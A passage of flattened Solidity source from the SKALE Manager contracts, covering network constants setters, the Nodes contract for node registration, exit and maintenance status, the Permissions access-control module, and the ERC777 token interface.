limitValidatorsPerDelegator; uint256 public firstDelegationsMonth; // deprecated // date when schains will be allowed for creation uint public schainCreationTimeStamp; uint public minimalSchainLifetime; uint public complaintTimelimit; /** * @dev Allows the Owner to set new reward and delta periods * This function is only for tests. */ function setPeriods(uint32 newRewardPeriod, uint32 newDeltaPeriod) external onlyOwner { require( newRewardPeriod >= newDeltaPeriod && newRewardPeriod - newDeltaPeriod >= checkTime, "Incorrect Periods" ); rewardPeriod = newRewardPeriod; deltaPeriod = newDeltaPeriod; } /** * @dev Allows the Owner to set the new check time. * This function is only for tests. */ function setCheckTime(uint newCheckTime) external onlyOwner { require(rewardPeriod - deltaPeriod >= checkTime, "Incorrect check time"); checkTime = newCheckTime; } /** * @dev Allows the Owner to set the allowable latency in milliseconds. * This function is only for testing purposes. */ function setLatency(uint32 newAllowableLatency) external onlyOwner { allowableLatency = newAllowableLatency; } /** * @dev Allows the Owner to set the minimum stake requirement. */ function setMSR(uint newMSR) external onlyOwner { msr = newMSR; } /** * @dev Allows the Owner to set the launch timestamp. */ function setLaunchTimestamp(uint timestamp) external onlyOwner { require(now < launchTimestamp, "Cannot set network launch timestamp because network is already launched"); launchTimestamp = timestamp; } /** * @dev Allows the Owner to set the node rotation delay. */ function setRotationDelay(uint newDelay) external onlyOwner { rotationDelay = newDelay; } /** * @dev Allows the Owner to set the proof-of-use lockup period. */ function setProofOfUseLockUpPeriod(uint periodDays) external onlyOwner { proofOfUseLockUpPeriodDays = periodDays; } /** * @dev Allows the Owner to set the proof-of-use delegation percentage * requirement. */ function setProofOfUseDelegationPercentage(uint percentage) external onlyOwner { require(percentage <= 100, "Percentage value is incorrect"); proofOfUseDelegationPercentage = percentage; } /** * @dev Allows the Owner to set the maximum number of validators that a * single delegator can delegate to. */ function setLimitValidatorsPerDelegator(uint newLimit) external onlyOwner { limitValidatorsPerDelegator = newLimit; } function setSchainCreationTimeStamp(uint timestamp) external onlyOwner { schainCreationTimeStamp = timestamp; } function setMinimalSchainLifetime(uint lifetime) external onlyOwner { minimalSchainLifetime = lifetime; } function setComplaintTimelimit(uint timelimit) external onlyOwner { complaintTimelimit = timelimit; } function initialize(address contractsAddress) public override initializer { Permissions.initialize(contractsAddress); msr = 0; rewardPeriod = 2592000; allowableLatency = 150000; deltaPeriod = 3600; checkTime = 300; launchTimestamp = uint(-1); rotationDelay = 12 hours; proofOfUseLockUpPeriodDays = 90; proofOfUseDelegationPercentage = 50; limitValidatorsPerDelegator = 20; firstDelegationsMonth = 0; complaintTimelimit = 1800; } } // SPDX-License-Identifier: AGPL-3.0-only /* Nodes.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin @author Dmytro Stebaiev @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-ethereum-package/contracts/utils/SafeCast.sol"; import "./delegation/DelegationController.sol"; import "./delegation/ValidatorService.sol"; import "./utils/Random.sol"; import "./utils/SegmentTree.sol"; import "./BountyV2.sol"; import "./ConstantsHolder.sol"; import "./Permissions.sol"; /** * @title Nodes * @dev This contract contains all logic to manage SKALE Network nodes states, * space availability, stake requirement checks, and exit functions. * * Nodes may be in one of several states: * * - Active: Node is registered and is in network operation. * - Leaving: Node has begun exiting from the network. * - Left: Node has left the network. * - In_Maintenance: Node is temporarily offline or undergoing infrastructure * maintenance * * Note: Online nodes contain both Active and Leaving states. */ contract Nodes is Permissions { using Random for Random.RandomGenerator; using SafeCast for uint; using SegmentTree for SegmentTree.Tree; // All Nodes states enum NodeStatus {Active, Leaving, Left, In_Maintenance} struct Node { string name; bytes4 ip; bytes4 publicIP; uint16 port; bytes32[2] publicKey; uint startBlock; uint lastRewardDate; uint finishTime; NodeStatus status; uint validatorId; } // struct to note which Nodes and which number of Nodes owned by user struct CreatedNodes { mapping (uint => bool) isNodeExist; uint numberOfNodes; } struct SpaceManaging { uint8 freeSpace; uint indexInSpaceMap; } // TODO: move outside the contract struct NodeCreationParams { string name; bytes4 ip; bytes4 publicIp; uint16 port; bytes32[2] publicKey; uint16 nonce; string domainName; } // array which contain all Nodes Node[] public nodes; SpaceManaging[] public spaceOfNodes; // mapping for checking which Nodes and which number of Nodes owned by user mapping (address => CreatedNodes) public nodeIndexes; // mapping for checking is IP address busy mapping (bytes4 => bool) public nodesIPCheck; // mapping for checking is Name busy mapping (bytes32 => bool) public nodesNameCheck; // mapping for indication from Name to Index mapping (bytes32 => uint) public nodesNameToIndex; // mapping for indication from space to Nodes mapping (uint8 => uint[]) public spaceToNodes; mapping (uint => uint[]) public validatorToNodeIndexes; uint public numberOfActiveNodes; uint public numberOfLeavingNodes; uint public numberOfLeftNodes; mapping (uint => string) public domainNames; mapping (uint => bool) private _invisible; SegmentTree.Tree private _nodesAmountBySpace; /** * @dev Emitted when a node is created. */ event NodeCreated( uint nodeIndex, address owner, string name, bytes4 ip, bytes4 publicIP, uint16 port, uint16 nonce, string domainName, uint time, uint gasSpend ); /** * @dev Emitted when a node completes a network exit. */ event ExitCompleted( uint nodeIndex, uint time, uint gasSpend ); /** * @dev Emitted when a node begins to exit from the network. */ event ExitInitialized( uint nodeIndex, uint startLeavingPeriod, uint time, uint gasSpend ); modifier checkNodeExists(uint nodeIndex) { _checkNodeIndex(nodeIndex); _; } modifier onlyNodeOrAdmin(uint nodeIndex) { _checkNodeOrAdmin(nodeIndex, msg.sender); _; } function initializeSegmentTreeAndInvisibleNodes() external onlyOwner { for (uint i = 0; i < nodes.length; i++) { if (nodes[i].status != NodeStatus.Active && nodes[i].status != NodeStatus.Left) { _invisible[i] = true; _removeNodeFromSpaceToNodes(i, spaceOfNodes[i].freeSpace); } } uint8 totalSpace = ConstantsHolder(contractManager.getContract("ConstantsHolder")).TOTAL_SPACE_ON_NODE(); _nodesAmountBySpace.create(totalSpace); for (uint8 i = 1; i <= totalSpace; i++) { if (spaceToNodes[i].length > 0) _nodesAmountBySpace.addToPlace(i, spaceToNodes[i].length); } } /** * @dev Allows Schains and SchainsInternal contracts to occupy available * space on a node. * * Returns whether operation is successful. */ function removeSpaceFromNode(uint nodeIndex, uint8 space) external checkNodeExists(nodeIndex) allowTwo("NodeRotation", "SchainsInternal") returns (bool) { if (spaceOfNodes[nodeIndex].freeSpace < space) { return false; } if (space > 0) { _moveNodeToNewSpaceMap( nodeIndex, uint(spaceOfNodes[nodeIndex].freeSpace).sub(space).toUint8() ); } return true; } /** * @dev Allows Schains contract to occupy free space on a node. * * Returns whether operation is successful. */ function addSpaceToNode(uint nodeIndex, uint8 space) external checkNodeExists(nodeIndex) allowTwo("Schains", "NodeRotation") { if (space > 0) { _moveNodeToNewSpaceMap( nodeIndex, uint(spaceOfNodes[nodeIndex].freeSpace).add(space).toUint8() ); } } /** * @dev Allows SkaleManager to change a node's last reward date. */ function changeNodeLastRewardDate(uint nodeIndex) external checkNodeExists(nodeIndex) allow("SkaleManager") { nodes[nodeIndex].lastRewardDate = block.timestamp; } /** * @dev Allows SkaleManager to change a node's finish time. */ function changeNodeFinishTime(uint nodeIndex, uint time) external checkNodeExists(nodeIndex) allow("SkaleManager") { nodes[nodeIndex].finishTime = time; } /** * @dev Allows SkaleManager contract to create new node and add it to the * Nodes contract. * * Emits a {NodeCreated} event. * * Requirements: * * - Node IP must be non-zero. * - Node IP must be available. * - Node name must not already be registered. * - Node port must be greater than zero. */ function createNode(address from, NodeCreationParams calldata params) external allow("SkaleManager") { // checks that Node has correct data require(params.ip != 0x0 && !nodesIPCheck[params.ip], "IP address is zero or is not available"); require(!nodesNameCheck[keccak256(abi.encodePacked(params.name))], "Name is already registered"); require(params.port > 0, "Port is zero"); require(from == _publicKeyToAddress(params.publicKey), "Public Key is incorrect"); uint validatorId = ValidatorService( contractManager.getContract("ValidatorService")).getValidatorIdByNodeAddress(from); uint8 totalSpace = ConstantsHolder(contractManager.getContract("ConstantsHolder")).TOTAL_SPACE_ON_NODE(); nodes.push(Node({ name: params.name, ip: params.ip, publicIP: params.publicIp, port: params.port, publicKey: params.publicKey, startBlock: block.number, lastRewardDate: block.timestamp, finishTime: 0, status: NodeStatus.Active, validatorId: validatorId })); uint nodeIndex = nodes.length.sub(1); validatorToNodeIndexes[validatorId].push(nodeIndex); bytes32 nodeId = keccak256(abi.encodePacked(params.name)); nodesIPCheck[params.ip] = true; nodesNameCheck[nodeId] = true; nodesNameToIndex[nodeId] = nodeIndex; nodeIndexes[from].isNodeExist[nodeIndex] = true; nodeIndexes[from].numberOfNodes++; domainNames[nodeIndex] = params.domainName; spaceOfNodes.push(SpaceManaging({ freeSpace: totalSpace, indexInSpaceMap: spaceToNodes[totalSpace].length })); _setNodeActive(nodeIndex); emit NodeCreated( nodeIndex, from, params.name, params.ip, params.publicIp, params.port, params.nonce, params.domainName, block.timestamp, gasleft()); } /** * @dev Allows SkaleManager contract to initiate a node exit procedure. * * Returns whether the operation is successful. * * Emits an {ExitInitialized} event. */ function initExit(uint nodeIndex) external checkNodeExists(nodeIndex) allow("SkaleManager") returns (bool) { require(isNodeActive(nodeIndex), "Node should be Active"); _setNodeLeaving(nodeIndex); emit ExitInitialized( nodeIndex, block.timestamp, block.timestamp, gasleft()); return true; } /** * @dev Allows SkaleManager contract to complete a node exit procedure. * * Returns whether the operation is successful. * * Emits an {ExitCompleted} event. * * Requirements: * * - Node must have already initialized a node exit procedure. */ function completeExit(uint nodeIndex) external checkNodeExists(nodeIndex) allow("SkaleManager") returns (bool) { require(isNodeLeaving(nodeIndex), "Node is not Leaving"); _setNodeLeft(nodeIndex); emit ExitCompleted( nodeIndex, block.timestamp, gasleft()); return true; } /** * @dev Allows SkaleManager contract to delete a validator's node. * * Requirements: * * - Validator ID must exist. */ function deleteNodeForValidator(uint validatorId, uint nodeIndex) external checkNodeExists(nodeIndex) allow("SkaleManager") { ValidatorService validatorService = ValidatorService(contractManager.getValidatorService()); require(validatorService.validatorExists(validatorId), "Validator ID does not exist"); uint[] memory validatorNodes = validatorToNodeIndexes[validatorId]; uint position = _findNode(validatorNodes, nodeIndex); if (position < validatorNodes.length) { validatorToNodeIndexes[validatorId][position] = validatorToNodeIndexes[validatorId][validatorNodes.length.sub(1)]; } validatorToNodeIndexes[validatorId].pop(); address nodeOwner = _publicKeyToAddress(nodes[nodeIndex].publicKey); if (validatorService.getValidatorIdByNodeAddress(nodeOwner) == validatorId) { if (nodeIndexes[nodeOwner].numberOfNodes == 1 && !validatorService.validatorAddressExists(nodeOwner)) { validatorService.removeNodeAddress(validatorId, nodeOwner); } nodeIndexes[nodeOwner].isNodeExist[nodeIndex] = false; nodeIndexes[nodeOwner].numberOfNodes--; } } /** * @dev Allows SkaleManager contract to check whether a validator has * sufficient stake to create another node. * * Requirements: * * - Validator must be included on trusted list if trusted list is enabled. * - Validator must have sufficient stake to operate an additional node. */ function checkPossibilityCreatingNode(address nodeAddress) external allow("SkaleManager") { ValidatorService validatorService = ValidatorService(contractManager.getValidatorService()); uint validatorId = validatorService.getValidatorIdByNodeAddress(nodeAddress); require(validatorService.isAuthorizedValidator(validatorId), "Validator is not authorized to create a node"); require( _checkValidatorPositionToMaintainNode(validatorId, validatorToNodeIndexes[validatorId].length), "Validator must meet the Minimum Staking Requirement"); } /** * @dev Allows SkaleManager contract to check whether a validator has * sufficient stake to maintain a node. * * Returns whether validator can maintain node with current stake. * * Requirements: * * - Validator ID and nodeIndex must both exist. */ function checkPossibilityToMaintainNode( uint validatorId, uint nodeIndex ) external checkNodeExists(nodeIndex) allow("Bounty") returns (bool) { ValidatorService validatorService = ValidatorService(contractManager.getValidatorService()); require(validatorService.validatorExists(validatorId), "Validator ID does not exist"); uint[] memory validatorNodes = validatorToNodeIndexes[validatorId]; uint position = _findNode(validatorNodes, nodeIndex); require(position < validatorNodes.length, "Node does not exist for this Validator"); return _checkValidatorPositionToMaintainNode(validatorId, position); } /** * @dev Allows Node to set In_Maintenance status. * * Requirements: * * - Node must already be Active. * - `msg.sender` must be owner of Node, validator, or SkaleManager. */ function setNodeInMaintenance(uint nodeIndex) external onlyNodeOrAdmin(nodeIndex) { require(nodes[nodeIndex].status == NodeStatus.Active, "Node is not Active"); _setNodeInMaintenance(nodeIndex); } /** * @dev Allows Node to remove In_Maintenance status. * * Requirements: * * - Node must already be In Maintenance. * - `msg.sender` must be owner of Node, validator, or SkaleManager. */ function removeNodeFromInMaintenance(uint nodeIndex) external onlyNodeOrAdmin(nodeIndex) { require(nodes[nodeIndex].status == NodeStatus.In_Maintenance, "Node is not In Maintenance"); _setNodeActive(nodeIndex); } function setDomainName(uint nodeIndex, string memory domainName) external onlyNodeOrAdmin(nodeIndex) { domainNames[nodeIndex] = domainName; } function makeNodeVisible(uint nodeIndex) external allow("SchainsInternal") { _makeNodeVisible(nodeIndex); } function makeNodeInvisible(uint nodeIndex) external allow("SchainsInternal") { _makeNodeInvisible(nodeIndex); } function getRandomNodeWithFreeSpace( uint8 freeSpace, Random.RandomGenerator memory randomGenerator ) external view returns (uint) { uint8 place = _nodesAmountBySpace.getRandomNonZeroElementFromPlaceToLast( freeSpace == 0 ? 1 : freeSpace, randomGenerator ).toUint8(); require(place > 0, "Node not found"); return spaceToNodes[place][randomGenerator.random(spaceToNodes[place].length)]; } /** * @dev Checks whether it is time for a node's reward. */ function isTimeForReward(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (bool) { return BountyV2(contractManager.getBounty()).getNextRewardTimestamp(nodeIndex) <= now; } /** * @dev Returns IP address of a given node. * * Requirements: * * - Node must exist. */ function getNodeIP(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (bytes4) { require(nodeIndex < nodes.length, "Node does not exist"); return nodes[nodeIndex].ip; } /** * @dev Returns domain name of a given node. * * Requirements: * * - Node must exist. */ function getNodeDomainName(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (string memory) { return domainNames[nodeIndex]; } /** * @dev Returns the port of a given node. * * Requirements: * * - Node must exist. */ function getNodePort(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (uint16) { return nodes[nodeIndex].port; } /** * @dev Returns the public key of a given node. */ function getNodePublicKey(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (bytes32[2] memory) { return nodes[nodeIndex].publicKey; } /** * @dev Returns an address of a given node. */ function getNodeAddress(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (address) { return _publicKeyToAddress(nodes[nodeIndex].publicKey); } /** * @dev Returns the finish exit time of a given node. */ function getNodeFinishTime(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (uint) { return nodes[nodeIndex].finishTime; } /** * @dev Checks whether a node has left the network. */ function isNodeLeft(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (bool) { return nodes[nodeIndex].status == NodeStatus.Left; } function isNodeInMaintenance(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (bool) { return nodes[nodeIndex].status == NodeStatus.In_Maintenance; } /** * @dev Returns a given node's last reward date. */ function getNodeLastRewardDate(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (uint) { return nodes[nodeIndex].lastRewardDate; } /** * @dev Returns a given node's next reward date. */ function getNodeNextRewardDate(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (uint) { return BountyV2(contractManager.getBounty()).getNextRewardTimestamp(nodeIndex); } /** * @dev Returns the total number of registered nodes. */ function getNumberOfNodes() external view returns (uint) { return nodes.length; } /** * @dev Returns the total number of online nodes. * * Note: Online nodes are equal to the number of active plus leaving nodes. */ function getNumberOnlineNodes() external view returns (uint) { return numberOfActiveNodes.add(numberOfLeavingNodes); } /** * @dev Return active node IDs. */ function getActiveNodeIds() external view returns (uint[] memory activeNodeIds) { activeNodeIds = new uint[](numberOfActiveNodes); uint indexOfActiveNodeIds = 0; for (uint indexOfNodes = 0; indexOfNodes < nodes.length; indexOfNodes++) { if (isNodeActive(indexOfNodes)) { activeNodeIds[indexOfActiveNodeIds] = indexOfNodes; indexOfActiveNodeIds++; } } } /** * @dev Return a given node's current status. */ function getNodeStatus(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (NodeStatus) { return nodes[nodeIndex].status; } /** * @dev Return a validator's linked nodes. * * Requirements: * * - Validator ID must exist. */ function getValidatorNodeIndexes(uint validatorId) external view returns (uint[] memory) { ValidatorService validatorService = ValidatorService(contractManager.getValidatorService()); require(validatorService.validatorExists(validatorId), "Validator ID does not exist"); return validatorToNodeIndexes[validatorId]; } /** * @dev Returns number of nodes with available space. */ function countNodesWithFreeSpace(uint8 freeSpace) external view returns (uint count) { if (freeSpace == 0) { return _nodesAmountBySpace.sumFromPlaceToLast(1); } return _nodesAmountBySpace.sumFromPlaceToLast(freeSpace); } /** * @dev constructor in Permissions approach. */ function initialize(address contractsAddress) public override initializer { Permissions.initialize(contractsAddress); numberOfActiveNodes = 0; numberOfLeavingNodes = 0; numberOfLeftNodes = 0; _nodesAmountBySpace.create(128); } /** * @dev Returns the Validator ID for a given node. */ function getValidatorId(uint nodeIndex) public view checkNodeExists(nodeIndex) returns (uint) { return nodes[nodeIndex].validatorId; } /** * @dev Checks whether a node exists for a given address. */ function isNodeExist(address from, uint nodeIndex) public view checkNodeExists(nodeIndex) returns (bool) { return nodeIndexes[from].isNodeExist[nodeIndex]; } /** * @dev Checks whether a node's status is Active. */ function isNodeActive(uint nodeIndex) public view checkNodeExists(nodeIndex) returns (bool) { return nodes[nodeIndex].status == NodeStatus.Active; } /** * @dev Checks whether a node's status is Leaving. */ function isNodeLeaving(uint nodeIndex) public view checkNodeExists(nodeIndex) returns (bool) { return nodes[nodeIndex].status == NodeStatus.Leaving; } function _removeNodeFromSpaceToNodes(uint nodeIndex, uint8 space) internal { uint indexInArray = spaceOfNodes[nodeIndex].indexInSpaceMap; uint len = spaceToNodes[space].length.sub(1); if (indexInArray < len) { uint shiftedIndex = spaceToNodes[space][len]; spaceToNodes[space][indexInArray] = shiftedIndex; spaceOfNodes[shiftedIndex].indexInSpaceMap = indexInArray; } spaceToNodes[space].pop(); delete spaceOfNodes[nodeIndex].indexInSpaceMap; } function _getNodesAmountBySpace() internal view returns (SegmentTree.Tree storage) { return _nodesAmountBySpace; } /** * @dev Returns the index of a given node within the validator's node index. */ function _findNode(uint[] memory validatorNodeIndexes, uint nodeIndex) private pure returns (uint) { uint i; for (i = 0; i < validatorNodeIndexes.length; i++) { if (validatorNodeIndexes[i] == nodeIndex) { return i; } } return validatorNodeIndexes.length; } /** * @dev Moves a node to a new space mapping. */ function _moveNodeToNewSpaceMap(uint nodeIndex, uint8 newSpace) private { if (!_invisible[nodeIndex]) { uint8 space = spaceOfNodes[nodeIndex].freeSpace; _removeNodeFromTree(space); _addNodeToTree(newSpace); _removeNodeFromSpaceToNodes(nodeIndex, space); _addNodeToSpaceToNodes(nodeIndex, newSpace); } spaceOfNodes[nodeIndex].freeSpace = newSpace; } /** * @dev Changes a node's status to Active. */ function _setNodeActive(uint nodeIndex) private { nodes[nodeIndex].status = NodeStatus.Active; numberOfActiveNodes = numberOfActiveNodes.add(1); if (_invisible[nodeIndex]) { _makeNodeVisible(nodeIndex); } else { uint8 space = spaceOfNodes[nodeIndex].freeSpace; _addNodeToSpaceToNodes(nodeIndex, space); _addNodeToTree(space); } } /** * @dev Changes a node's status to In_Maintenance. */ function _setNodeInMaintenance(uint nodeIndex) private { nodes[nodeIndex].status = NodeStatus.In_Maintenance; numberOfActiveNodes = numberOfActiveNodes.sub(1); _makeNodeInvisible(nodeIndex); } /** * @dev Changes a node's status to Left. */ function _setNodeLeft(uint nodeIndex) private { nodesIPCheck[nodes[nodeIndex].ip] = false; nodesNameCheck[keccak256(abi.encodePacked(nodes[nodeIndex].name))] = false; delete nodesNameToIndex[keccak256(abi.encodePacked(nodes[nodeIndex].name))]; if (nodes[nodeIndex].status == NodeStatus.Active) { numberOfActiveNodes--; } else { numberOfLeavingNodes--; } nodes[nodeIndex].status = NodeStatus.Left; numberOfLeftNodes++; delete spaceOfNodes[nodeIndex].freeSpace; } /** * @dev Changes a node's status to Leaving. */ function _setNodeLeaving(uint nodeIndex) private { nodes[nodeIndex].status = NodeStatus.Leaving; numberOfActiveNodes--; numberOfLeavingNodes++; _makeNodeInvisible(nodeIndex); } function _makeNodeInvisible(uint nodeIndex) private { if (!_invisible[nodeIndex]) { uint8 space = spaceOfNodes[nodeIndex].freeSpace; _removeNodeFromSpaceToNodes(nodeIndex, space); _removeNodeFromTree(space); _invisible[nodeIndex] = true; } } function _makeNodeVisible(uint nodeIndex) private { if (_invisible[nodeIndex]) { uint8 space = spaceOfNodes[nodeIndex].freeSpace; _addNodeToSpaceToNodes(nodeIndex, space); _addNodeToTree(space); delete _invisible[nodeIndex]; } } function _addNodeToSpaceToNodes(uint nodeIndex, uint8 space) private { spaceToNodes[space].push(nodeIndex); spaceOfNodes[nodeIndex].indexInSpaceMap = spaceToNodes[space].length.sub(1); } function _addNodeToTree(uint8 space) private { if (space > 0) { _nodesAmountBySpace.addToPlace(space, 1); } } function _removeNodeFromTree(uint8 space) private { if (space > 0) { _nodesAmountBySpace.removeFromPlace(space, 1); } } function _checkValidatorPositionToMaintainNode(uint validatorId, uint position) private returns (bool) { DelegationController delegationController = DelegationController( contractManager.getContract("DelegationController") ); uint delegationsTotal = delegationController.getAndUpdateDelegatedToValidatorNow(validatorId); uint msr = ConstantsHolder(contractManager.getConstantsHolder()).msr(); return position.add(1).mul(msr) <= delegationsTotal; } function _checkNodeIndex(uint nodeIndex) private view { require(nodeIndex < nodes.length, "Node with such index does not exist"); } function _checkNodeOrAdmin(uint nodeIndex, address sender) private view { ValidatorService validatorService = ValidatorService(contractManager.getValidatorService()); require( isNodeExist(sender, nodeIndex) || _isAdmin(sender) || getValidatorId(nodeIndex) == validatorService.getValidatorId(sender), "Sender is not permitted to call this function" ); } function _publicKeyToAddress(bytes32[2] memory pubKey) private pure returns (address) { bytes32 hash = keccak256(abi.encodePacked(pubKey[0], pubKey[1])); bytes20 addr; for (uint8 i = 12; i < 32; i++) { addr |= bytes20(hash[i] & 0xFF) >> ((i - 12) * 8); } return address(addr); } function _min(uint a, uint b) private pure returns (uint) { if (a < b) { return a; } else { return b; } } } // SPDX-License-Identifier: AGPL-3.0-only /* Permissions.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/access/AccessControl.sol"; import "./ContractManager.sol"; /** * @title Permissions * @dev Contract is connected module for Upgradeable approach, knows ContractManager */ contract Permissions is AccessControlUpgradeSafe { using SafeMath for uint; using Address for address; ContractManager public contractManager; /** * @dev Modifier to make a function callable only when caller is the Owner. * * Requirements: * * - The caller must be the owner. */ modifier onlyOwner() { require(_isOwner(), "Caller is not the owner"); _; } /** * @dev Modifier to make a function callable only when caller is an Admin. * * Requirements: * * - The caller must be an admin. */ modifier onlyAdmin() { require(_isAdmin(msg.sender), "Caller is not an admin"); _; } /** * @dev Modifier to make a function callable only when caller is the Owner * or `contractName` contract. * * Requirements: * * - The caller must be the owner or `contractName`. */ modifier allow(string memory contractName) { require( contractManager.getContract(contractName) == msg.sender || _isOwner(), "Message sender is invalid"); _; } /** * @dev Modifier to make a function callable only when caller is the Owner * or `contractName1` or `contractName2` contract. * * Requirements: * * - The caller must be the owner, `contractName1`, or `contractName2`. */ modifier allowTwo(string memory contractName1, string memory contractName2) { require( contractManager.getContract(contractName1) == msg.sender || contractManager.getContract(contractName2) == msg.sender || _isOwner(), "Message sender is invalid"); _; } /** * @dev Modifier to make a function callable only when caller is the Owner * or `contractName1`, `contractName2`, or `contractName3` contract. * * Requirements: * * - The caller must be the owner, `contractName1`, `contractName2`, or * `contractName3`. */ modifier allowThree(string memory contractName1, string memory contractName2, string memory contractName3) { require( contractManager.getContract(contractName1) == msg.sender || contractManager.getContract(contractName2) == msg.sender || contractManager.getContract(contractName3) == msg.sender || _isOwner(), "Message sender is invalid"); _; } function initialize(address contractManagerAddress) public virtual initializer { AccessControlUpgradeSafe.__AccessControl_init(); _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); _setContractManager(contractManagerAddress); } function _isOwner() internal view returns (bool) { return hasRole(DEFAULT_ADMIN_ROLE, msg.sender); } function _isAdmin(address account) internal view returns (bool) { address skaleManagerAddress = contractManager.contracts(keccak256(abi.encodePacked("SkaleManager"))); if (skaleManagerAddress != address(0)) { AccessControlUpgradeSafe skaleManager = AccessControlUpgradeSafe(skaleManagerAddress); return skaleManager.hasRole(keccak256("ADMIN_ROLE"), account) || _isOwner(); } else { return _isOwner(); } } function _setContractManager(address contractManagerAddress) private { require(contractManagerAddress != address(0), "ContractManager address is not set"); require(contractManagerAddress.isContract(), "Address is not contract"); contractManager = ContractManager(contractManagerAddress); } } pragma solidity ^0.6.0; /** * @dev Interface of the ERC777Token standard as defined in the EIP. * * This contract uses the * https://eips.ethereum.org/EIPS/eip-1820[ERC1820 registry standard] to let * token holders and recipients react to token movements by using setting implementers * for the associated interfaces in said registry. See {IERC1820Registry} and * {ERC1820Implementer}. */ interface IERC777 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() external view returns (string memory); /** * @dev Returns the smallest part of the token that is not divisible. This * means all token operations (creation, movement and destruction) must have * amounts that are a multiple of this number. * * For most token contracts, this value will equal 1. */ function granularity() external view returns (uint256); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by an account (`owner`). */ function balanceOf(address owner) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * If send or receive hooks are registered for the caller and `recipient`, * the corresponding functions will be called with `data` and empty * `operatorData`. See {IERC777Sender} and {IERC777Recipient}. * * Emits a {Sent} event. * * Requirements * * - the caller must have at least `amount` tokens. * - `recipient` cannot be the zero address. * - if `recipient` is a contract, it must implement the {IERC777Recipient} * interface. */ function send(address recipient, uint256 amount, bytes calldata data) external; /** * @dev Destroys `amount` tokens from the caller's account, reducing the * total supply. * * If a send hook is registered for the caller, the corresponding function * will be called with `data` and empty `operatorData`. See {IERC777Sender}. * * Emits a {Burned} event. * * Requirements * * - the caller must have at least `amount` tokens. */ function burn(uint256 amount, bytes calldata data) external; /** * @dev Returns true if an account is an operator of `tokenHolder`. * Operators can send and burn tokens on behalf of their owners. All * accounts are their own operator. * * See {operatorSend} and {operatorBurn}. */ function isOperatorFor(address operator, address tokenHolder) external view returns (bool); /** * @dev Make an account an operator of the caller. * * See {isOperatorFor}. * * Emits an {AuthorizedOperator} event. * * Requirements * * - `operator` cannot be calling address. */ function authorizeOperator(address operator) external; /** * @dev Revoke an account's operator status for the caller. * * See {isOperatorFor} and {defaultOperators}. * * Emits a {RevokedOperator} event. * * Requirements * * - `operator` cannot be calling address. */ function revokeOperator(address operator) external; /** * @dev Returns the list of default operators. These accounts are operators * for all token holders, even if {authorizeOperator} was never called on * them. * * This list is immutable, but individual holders may revoke these via * {revokeOperator}, in which case {isOperatorFor} will return false. */ function defaultOperators() external view returns (address[] memory); /** * @dev Moves `amount` tokens from `sender` to `recipient`. The caller must * be an operator of `sender`. * * If send or receive hooks are registered for `sender` and `recipient`, * the corresponding functions will be called with `data` and * `operatorData`. See {IERC777Sender} and {IERC777Recipient}. * * Emits a {Sent} event. * * Requirements * * - `sender` cannot be the zero address. * - `sender` must have at least `amount` tokens. * - the caller must be an operator for `sender`. * - `recipient` cannot be the zero address. * - if `recipient` is a contract, it must implement the {IERC777Recipient} * interface. */ function operatorSend( address sender, address recipient, uint256 amount, bytes calldata data, bytes calldata operatorData ) external; /** * @dev Destroys `amount` tokens from `account`, reducing the total supply. * The caller must be an operator of `account`. * * If a send hook is registered for `account`, the corresponding function * will be called with `data` and `operatorData`. See {IERC777Sender}. * * Emits a {Burned} event. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. * - the caller must be an operator for `account`. */ function operatorBurn( address account, uint256 amount, bytes calldata data, bytes calldata operatorData ) external; event Sent( address indexed operator, address indexed from, address indexed to, uint256 amount, bytes data, bytes operatorData ); event Minted(address indexed operator, address indexed to, uint256 amount, bytes data, bytes operatorData); event Burned(address indexed operator, address indexed from, uint256 amount, bytes data, bytes operatorData); event AuthorizedOperator(address indexed operator, address indexed tokenHolder); event RevokedOperator(address indexed operator, address indexed tokenHolder); } // SPDX-License-Identifier: AGPL-3.0-only /* FractionUtils.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See 